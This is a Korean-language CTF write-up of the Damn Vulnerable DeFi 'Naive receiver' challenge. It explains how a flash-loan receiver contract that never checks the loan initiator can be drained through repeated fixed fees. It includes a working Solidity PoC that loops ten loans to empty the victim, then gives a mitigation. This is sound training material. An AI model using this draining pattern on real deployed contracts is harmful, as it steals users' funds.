Damn Vulnerable DeFi-Naive receiver

problem link

DeFi 취약점과 공격 방법을 익히기 위한 워게임 문제를 풀고 풀이를 정리했다. v3.0.0 문제를 대상으로 했다.

Summary

누구나 FlashLoanReceiver 에게 Flash loan을 할 수 있어 FlashLoanReceiver에 예치되어 있는 수수료 지불용 ETH를 소비시킬 수 있다.

Keyword

access control

Vulnerability

There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH. A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH. Take all ETH out of the user’s contract. If possible, in a single transaction.

Flash loan 기능을 제공하는 컨트랙트가 있다. 그리고 Flash loan 서비스를 이용하는 유저의 컨트랙트가 있다. 유저의 컨트랙트의 ETH를 전부 꺼내는 것이 목표다. 두 컨트랙트 NaiveReceiverLenderPool 와 FlashLoanReceiver 코드를 보고 취약점을 찾아야한다.

NaiveReceiverLenderPool 의 경우 평범한 ERC-3156 Lender 컨트랙트이다. 네이티브 토큰인 ETH를 빌려주기 때문에 approve가 불가하다. 따라서 onFlashLoan 를 호출한 뒤에 onFlashLoan 함수에서 ETH를 보냈는지까지 확인한다.

    function flashLoan(
        IERC3156FlashBorrower receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external returns (bool) {
        // @note LGTM
        if (token != ETH)
            revert UnsupportedCurrency();
        // @note LGTM
        uint256 balanceBefore = address(this).balance;
 
        // Transfer ETH and handle control to receiver
        // @note LGTM
        SafeTransferLib.safeTransferETH(address(receiver), amount);
        if(receiver.onFlashLoan(
            msg.sender,
            ETH,
            amount,
            FIXED_FEE,
            data
        ) != CALLBACK_SUCCESS) {
            revert CallbackFailed();
        }
        // @note 이더리움이기 때문에 approve 불가. onFlashLoan 측에서 보내준걸 확인해야 함.
        if (address(this).balance < balanceBefore + FIXED_FEE)
            revert RepayFailed();
 
        return true;
    }

다음은 FlashLoanReceiver 컨트랙트이다. onFlashLoan 함수에서는 msg.sender가 LenderPool인지를 확인한다. 작업이 완료되면 고정 Fee인 1 ETH와 함께 대금을 갚는다.

// SPDX-License-Identifier: MIT
 
pragma solidity ^0.8.0;
 
import "solady/src/utils/SafeTransferLib.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "./NaiveReceiverLenderPool.sol";
 
/**
 * @title FlashLoanReceiver
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract FlashLoanReceiver is IERC3156FlashBorrower {
 
    address private pool;
    address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
 
    error UnsupportedCurrency();
 
    // @note LGTM
    constructor(address _pool) {
        pool = _pool;
    }
    
    function onFlashLoan(
        address, // @audit flash loan을 요청한 유저가 자신인지 확인하지 않음 => fee를 소비시킬 수 있음.
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata
    ) external returns (bytes32) {
        assembly { // gas savings
            // @note 0번 슬롯(=pool 주소)와 caller를 비교한다.
            // @audit-info msg.sender가 pool이 아니면 취소시킨다. 
            if iszero(eq(sload(pool.slot), caller())) {
                mstore(0x00, 0x48f5c3ed)
                revert(0x1c, 0x04)
            }
        }
        // @note LGTM
        if (token != ETH)
            revert UnsupportedCurrency();
        
        uint256 amountToBeRepaid;
        // @audit overflow 가능성?
        unchecked {
            amountToBeRepaid = amount + fee;
        }
        // @note LGTM
        _executeActionDuringFlashLoan();
 
        // Return funds to pool
        SafeTransferLib.safeTransferETH(pool, amountToBeRepaid);
 
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
 
    // Internal function where the funds received would be used
    // @note LGTM
    function _executeActionDuringFlashLoan() internal { }
 
    // Allow deposits of ETH
    receive() external payable {}
}

이때, 주목할 부분이 있다. onFlashLoan 함수에서 파라미터로 받는 initiator 파라미터를 전혀 사용하지 않는다. 이는 flashLoan함수를 호출한 msg.sender 가 전달되는 파라미터이다.

    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32);

따라서 누구나 FlashLoanReceiver 컨트랙트를 receiver로 설정하여 flashLoan 함수를 실행할 수 있다. 빌리고 바로 갚는데 무엇이 문제인가? 바로 Fee 가 소비된다는 점이 문제이다. Falsh loan으로 빌릴 때마다 1 ETH의 고정 수수료를 추가로내야 한다. 이는 FlashLoanReceiver 컨트랙트에 예치되어있는 ETH로 소비된다.

다음은 PoC 이다. 공격 컨트랙트를 작성한다. flash loan을 10번 반복하여 유저 컨트랙트에 예치된 10ETH를 소비시켰다.

import "./NaiveReceiverLenderPool.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
 
contract NaiveReceiverPoC {
 
    constructor(NaiveReceiverLenderPool _pool, IERC3156FlashBorrower _receiver){
 
        // 수수료로 10 ETH 소비시킴
        for(uint256 i = 0; i < 10; i++){
            _pool.flashLoan(_receiver, 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, 1, "");  
        }
 
        require(address(_receiver).balance == 0, "fail");
    }
}

다음은 PoC 배포 스크립트이다.

it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */
    const NaiveReceiverPoCFactory = await ethers.getContractFactory('NaiveReceiverPoC', player);
    await NaiveReceiverPoCFactory.deploy(pool.address, receiver.address);
});

Impact

FlashLoanReceiver 컨트랙트에 예치되어 있는 ETH를 수수료로 소비시킨다.

Mitigation

onFlashLoan 함수에서 initiator 를 확인하여 특정 주소만 FlashLoanReceiver 에게 flash loan 시킬 수 있도록 제한한다.


tags: writeup, blockchain, solidity, smart contract, erc20, erc3156, access control vulnerability, flashloan, dos, defi